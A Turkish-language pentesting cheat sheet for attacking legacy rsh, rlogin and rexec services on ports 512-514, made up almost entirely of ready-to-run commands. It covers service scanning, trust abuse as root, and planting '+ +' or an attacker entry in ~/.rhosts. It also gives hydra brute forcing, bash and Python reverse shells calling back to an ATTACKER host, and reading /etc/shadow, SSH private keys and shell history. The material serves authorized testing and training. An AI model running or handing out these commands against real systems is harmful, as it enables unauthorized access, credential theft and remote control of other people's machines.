514 - Pentesting Rsh

network legacy

rsh/rlogin (514/513) eski trust tabanlı uzaktan kabuktur. .rhosts / hosts.equiv yanlışlığı komut enjeksiyonu ve yanal hareket demektir.

Metodoloji

1. 512/513/514 ve ilgili rexec yüzeyini tara.

2. Kullanıcı/host trust hipotezini dene (rsh host cmd).

3. Yazılabilir ~/.rhosts veya /etc/hosts.equiv ara.

4. Kabuk sonrası credential ve pivot topla.

Keşif

nmap -Pn -sV -p512,513,514 TARGET

nmap -Pn -p512,513,514 --script rlogin*,rsh* TARGET

nc -nv TARGET 514

Trust abuse

rsh TARGET -l root id

rsh TARGET -l oracle id

rlogin TARGET -l root

rexec TARGET -l user id

Kaynak IP + kullanıcı adı hosts.equiv/.rhosts ile eşleşiyorsa parola yok

.rhosts / hosts.equiv

# hedefte yazma hakkı varsa:
echo '+ +' > ~/.rhosts

echo 'ATTACKER_IP root' > ~/.rhosts

chmod 644 ~/.rhosts

cat /etc/hosts.equiv 2>/dev/null

+ +  → herkes her kullanıcı
ATTACKER_IP + → o IP tüm kullanıcılar

Brute / kullanıcı

hydra -L users.txt -P rockyou.txt rlogin://TARGET

hydra -L users.txt -P rockyou.txt rsh://TARGET

root, oracle, bin, sys, adm klasik hedefler

Komut çalıştırma

rsh TARGET -l user 'cat /etc/shadow'

rsh TARGET -l user 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'

rsh TARGET -l user 'python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"'

Post-erişim

rsh TARGET -l user 'cat ~/.bash_history ~/.ssh/id_rsa 2>/dev/null'

rsh TARGET -l user 'uname -a; id; ip a'

Checklist

[ ] 512/513/514 açık
[ ] Trust ile parolasız komut denendi
[ ] .rhosts yazma / hosts.equiv okuma
[ ] Reverse shell veya interactive rlogin
[ ] Lateral için credential toplandı